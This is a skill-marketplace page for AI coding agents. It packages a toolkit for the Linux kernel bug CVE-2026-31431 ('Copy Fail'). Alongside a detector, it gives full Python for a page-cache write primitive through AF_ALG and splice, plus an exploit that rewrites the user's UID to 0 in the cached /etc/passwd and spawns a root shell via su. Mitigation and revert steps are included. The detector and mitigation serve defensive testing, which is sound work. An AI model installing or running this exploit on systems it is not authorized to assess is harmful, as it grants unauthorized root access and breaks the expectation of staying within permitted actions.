cve-2026-31431-copy-fail

Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.

22 stars

Best use case

cve-2026-31431-copy-fail is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.

Teams using cve-2026-31431-copy-fail should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/cve-2026-31431-copy-fail/SKILL.md --create-dirs "https://raw.githubusercontent.com/Aradotso/trending-skills/main/skills/cve-2026-31431-copy-fail/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/cve-2026-31431-copy-fail/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How cve-2026-31431-copy-fail Compares

Feature / Agentcve-2026-31431-copy-failStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# CVE-2026-31431 ("Copy Fail") Toolkit

> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.

A Python toolkit for detecting and demonstrating CVE-2026-31431, a Linux kernel vulnerability where `algif_aead` with `authencesn(hmac(sha256),cbc(aes))` performs an in-place AEAD operation via `splice()`, writing into page-cache pages of regular files — enabling an unprivileged user to corrupt the kernel's in-memory view of `/etc/passwd` or other world-readable files for local privilege escalation.

**Authorization notice:** Use only on systems you own or are explicitly engaged to assess. Running this on unauthorized systems is illegal in most jurisdictions.

## Affected Systems

- Linux kernels carrying commit `72548b093ee3` (in-place AEAD, 2017) without the upstream revert
- Confirmed affected: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

## Installation

No installation required. Pure Python 3.10+ stdlib — clone and run directly.

```sh
git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 --version  # requires 3.10+
```

## Files

| File | Purpose |
|------|---------|
| `test_cve_2026_31431.py` | Non-destructive detector; operates only on a temp sentinel file |
| `exploit_cve_2026_31431.py` | LPE; flips UID to 0 in `/etc/passwd` page cache, then invokes `su` |

## Key Commands

### Detector

```sh
python3 test_cve_2026_31431.py
```

Exit codes:
- `0` — Not vulnerable (precondition not met or page cache intact)
- `1` — Test error
- `2` — **Vulnerable** (marker landed in spliced page)

### Exploit

```sh
# Patch /etc/passwd page cache only (dry-run, auto-reverts on exit)
python3 exploit_cve_2026_31431.py

# Patch and spawn root shell via su
python3 exploit_cve_2026_31431.py --shell
```

## How the Vulnerability Works

```
sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
        flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd)   # returns EBADMSG; scratch write has already landed
```

The `authencesn` algorithm writes bytes 4–7 of the AAD (`seqno_lo`) into the destination scatterlist. When `splice()` is used, that destination is the page-cache page of the source file. The on-disk file is **never modified**.

## Core Detection Logic (from `test_cve_2026_31431.py`)

```python
import os, socket, struct, tempfile, ctypes

MARKER = b'PWND'
ALG_SET_KEY       = 1
ALG_SET_IV        = 2
ALG_SET_OP        = 3
ALG_SET_AEAD_ASSOCLEN = 4

def check_preconditions():
    """Verify AF_ALG and authencesn algorithm are reachable."""
    try:
        sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
        sock.bind({
            'type': 'aead',
            'name': 'authencesn(hmac(sha256),cbc(aes))',
            'feat': 0,
            'mask': 0,
        })
        sock.close()
        return True
    except (OSError, AttributeError):
        return False

def write4(target_path, file_offset, payload_4bytes):
    """
    Write exactly 4 bytes into the page cache of target_path at file_offset
    using the algif_aead splice path. The auth check will fail (EBADMSG)
    but the scratch write fires regardless.
    """
    assert len(payload_4bytes) == 4

    # Build a 256-bit AES key + 256-bit HMAC-SHA256 key (arbitrary for PoC)
    aes_key  = bytes(32)
    hmac_key = bytes(32)
    key = hmac_key + aes_key  # authencesn key layout

    # Create AF_ALG socket bound to the vulnerable algorithm
    alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    alg_sock.bind({
        'type': 'aead',
        'name': 'authencesn(hmac(sha256),cbc(aes))',
        'feat': 0,
        'mask': 0,
        'authsize': 32,
    })
    alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key)
    op_fd, _ = alg_sock.accept()

    # 8-byte AAD: bytes 0-3 = seqno_hi (ignored), bytes 4-7 = seqno_lo (WRITTEN)
    aad = bytes(4) + payload_4bytes   # seqno_lo = our 4-byte payload

    # Send AAD inline via sendmsg with control messages
    iv = bytes(16)  # CBC IV
    cmsg = [
        (socket.SOL_ALG, ALG_SET_OP,          struct.pack('I', 0)),  # DECRYPT=0
        (socket.SOL_ALG, ALG_SET_IV,          struct.pack('II', 16, 0) + iv),
        (socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)),
    ]
    op_fd.sendmsg([aad], cmsg, socket.MSG_MORE)

    # splice the target file's page-cache page into the op socket
    pipe_r, pipe_w = os.pipe()
    target_fd = os.open(target_path, os.O_RDONLY)
    os.splice(target_fd, pipe_w, 32, offset_src=file_offset)
    os.splice(pipe_r,    op_fd,  32)

    # Drive the decryption — EBADMSG expected; scratch write already fired
    try:
        op_fd.recv(64)
    except OSError:
        pass  # EBADMSG is expected

    os.close(pipe_r)
    os.close(pipe_w)
    os.close(target_fd)
    op_fd.close()
    alg_sock.close()

def detect():
    if not check_preconditions():
        print("Precondition not met — AF_ALG or authencesn unavailable")
        return 0

    with tempfile.NamedTemporaryFile(delete=False) as f:
        sentinel_path = f.name
        f.write(b'\x00' * 4096)

    try:
        # Populate page cache
        with open(sentinel_path, 'rb') as f:
            f.read()

        write4(sentinel_path, 0, MARKER)

        # Read back from page cache
        with open(sentinel_path, 'rb') as f:
            data = f.read(16)

        if MARKER in data:
            print("VULNERABLE to CVE-2026-31431")
            return 2
        elif data != b'\x00' * 16:
            print("Page cache MODIFIED via in-place AEAD splice path — treat as vulnerable")
            return 2
        else:
            print("Page cache intact — not vulnerable")
            return 0
    finally:
        os.unlink(sentinel_path)

if __name__ == '__main__':
    raise SystemExit(detect())
```

## LPE Pattern (from `exploit_cve_2026_31431.py`)

```python
import os, pwd, subprocess

def find_uid_offset(username):
    """Find the byte offset of the UID field in /etc/passwd for username."""
    with open('/etc/passwd', 'rb') as f:
        content = f.read()

    for line in content.split(b'\n'):
        if line.startswith(username.encode() + b':'):
            fields = line.split(b':')
            # fields[2] is the UID
            offset = content.index(line) + sum(len(f) + 1 for f in fields[:2])
            uid_field = fields[2]
            return offset, uid_field
    raise ValueError(f"User {username!r} not found in /etc/passwd")

def exploit(username, spawn_shell=False):
    uid_offset, uid_field = find_uid_offset(username)

    if len(uid_field) != 4:
        raise ValueError(
            f"UID {uid_field.decode()!r} is not 4 digits — "
            "1-3 digit UIDs require multi-shot writes"
        )

    print(f"[*] Patching UID at offset {uid_offset} in /etc/passwd page cache...")
    write4('/etc/passwd', uid_offset, b'0000')

    # Verify libc now reports UID 0
    entry = pwd.getpwnam(username)
    if entry.pw_uid != 0:
        print("[!] getpwnam still returns original UID — NSS cache may be active")
        print("    Try: sudo systemctl stop nscd sssd systemd-userdbd")
        return

    print(f"[+] /etc/passwd page cache patched — {username} now appears as UID 0")

    if spawn_shell:
        print(f"[*] Spawning root shell via: su {username}")
        print("[*] Enter your own password at the prompt")
        os.execvp('su', ['su', username])
    else:
        print("[*] Dry-run complete. Page cache will be evicted on exit.")
        # Auto-evict corrupted page on exit
        fd = os.open('/etc/passwd', os.O_RDONLY)
        os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
        os.close(fd)

if __name__ == '__main__':
    import sys
    username = os.environ.get('USER') or os.getlogin()
    spawn_shell = '--shell' in sys.argv
    exploit(username, spawn_shell)
```

## Requirements for LPE

- Running user has a **4-digit UID** (1000–9999)
- No NSS caching daemon masking `/etc/passwd` reads (`nscd`, `sssd`, `systemd-userdbd`)
- `/etc/passwd` page remains in cache between patch and `su` exec

## Reverting Page Cache Corruption

The on-disk `/etc/passwd` is **never modified**. To restore normal UID resolution:

```sh
# From unprivileged user — evict corrupted page:
python3 -c "
import os
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
"

# From root shell — drop all page caches:
echo 3 > /proc/sys/vm/drop_caches

# Or simply reboot
```

## Mitigation

```sh
# Disable algif_aead module permanently
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'

# Unload if currently loaded
sudo rmmod algif_aead 2>/dev/null

# Verify — detector should now report "Precondition not met"
python3 test_cve_2026_31431.py
```

## Troubleshooting

| Symptom | Cause | Fix |
|---------|-------|-----|
| `OSError: [Errno 93] Protocol not supported` | `AF_ALG` not available | Kernel too old or CONFIG_CRYPTO_USER_API_AEAD not set |
| `OSError: [Errno 2] No such file or directory` (bind) | `algif_aead` module not loaded | `sudo modprobe algif_aead` or apply mitigation |
| `getpwnam` returns original UID after patch | NSS cache active | Stop `nscd`/`sssd`/`systemd-userdbd` |
| Detector exits 0 on known-vulnerable kernel | Page evicted before re-read | Ensure no memory pressure; retry immediately |
| Multi-digit UID < 1000 | `write4` writes exactly 4 bytes | Pad UID field manually or extend `write4` for multi-shot |

## References

- Disclosure writeup: <https://xint.io/blog/copy-fail-linux-distributions>
- CVE: CVE-2026-31431
- Upstream fix: revert in-place AEAD to out-of-place, keeping page-cache pages out of writable scatterlists

Related Skills

polymarket-copy-trading-bot

22
from Aradotso/trending-skills

TypeScript bot that monitors a Polymarket wallet and mirrors BUY trades to your own account via the Polymarket CLOB API on Polygon.

copyfail-go-lpe

22
from Aradotso/trending-skills

Go implementation of CVE-2026-31431 (CopyFail), a Linux local privilege escalation exploit targeting the AF_ALG iov_iter kernel vulnerability affecting kernels v4.14–April 2026.

```markdown

22
from Aradotso/trending-skills

---

zeroboot-vm-sandbox

22
from Aradotso/trending-skills

Sub-millisecond VM sandboxes for AI agents using copy-on-write KVM forking via Zeroboot

yourvpndead-vpn-detection

22
from Aradotso/trending-skills

Android app that detects VPN/proxy servers (VLESS/xray/sing-box) via local SOCKS5 vulnerability, exposing exit IPs and server configs without root

xata-postgres-platform

22
from Aradotso/trending-skills

Expert skill for Xata open-source cloud-native Postgres platform with copy-on-write branching, scale-to-zero, and Kubernetes deployment

x-mentor-skill-nuwa

22
from Aradotso/trending-skills

AI-powered X (Twitter) content strategy skill that distills methodologies from 6 top creators + open-source algorithm data into actionable writing, growth, and monetization guidance.

wx-favorites-report

22
from Aradotso/trending-skills

End-to-end pipeline to extract, decrypt, and visualize WeChat Mac favorites from encrypted SQLite DB into an interactive HTML report.

wterm-web-terminal

22
from Aradotso/trending-skills

Web terminal emulator with Zig/WASM core, DOM rendering, and React/vanilla JS bindings

worldmonitor-intelligence-dashboard

22
from Aradotso/trending-skills

Real-time global intelligence dashboard with AI-powered news aggregation, geopolitical monitoring, and infrastructure tracking

witr-process-inspector

22
from Aradotso/trending-skills

CLI and TUI tool that explains why processes, services, and ports are running by tracing causality chains across supervisors, containers, and shells.

wildworld-dataset

22
from Aradotso/trending-skills

WildWorld large-scale action-conditioned world modeling dataset with 108M+ frames from a photorealistic ARPG game, featuring per-frame annotations, 450+ actions, and explicit state information for generative world modeling research.